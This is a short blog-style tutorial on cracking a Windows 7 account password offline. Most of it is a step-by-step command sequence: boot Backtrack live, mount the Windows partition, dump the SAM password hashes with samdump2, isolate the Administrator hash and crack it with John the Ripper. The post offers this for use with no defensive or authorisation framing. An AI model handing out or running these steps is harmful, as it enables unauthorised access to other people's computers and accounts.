CRACKING WINDOWS 7 PASSWORD
Hey Friend , here in this post I am going to tell you how to crack windows 7 password with samdump and John the Ripper. Both of the
tools are present in Backtrack operating system. So, Obviously I am going to use Backtrack.
So, We are going to crack the password without logging into windows OS. Download backtrack and write it on a DVD, such that it can booted live.

Boot the computer with Backtrack
Open terminal
Give the command
>fdisk –l
It will show the list of partitions of your hard disk. Find the partition that contains the windows system.
Now create the mount point directory in our backtrack system
> mkdir /mnt/mntpoint
Now mount the partition containing windows 7 operating to our mount point directory
> mount -t ntfs /dev/sda2 /mnt/mntpoint
/dev/sda2 is the partition containing windows 7
Move to the location in Windows 7 were the SAM file is present.
>cd /mnt/mntpoint/Windows/System32/config
Import the hashes in SAM file to our local file say password1
>samdump2 system sam > /root/password1
Search for the Administrator password Hash in the file “password1” and move to another file password2 for cracking it. Alternatively if you want to crack any specific user, Replace “Administrator” with the username.
>cat /root/password1 | grep Administrator > /root/password2
Move to directory of the tool John the Ripper.
>cd /pentest/passwords/jtr
Run the john file to check out various options for cracking
Here in windows 7 NTLM hash is used so crack it with the following command.
> ./john --format=NT /root/password2
> ./john --format=NT /root/password2
Viola!! You will see the password.
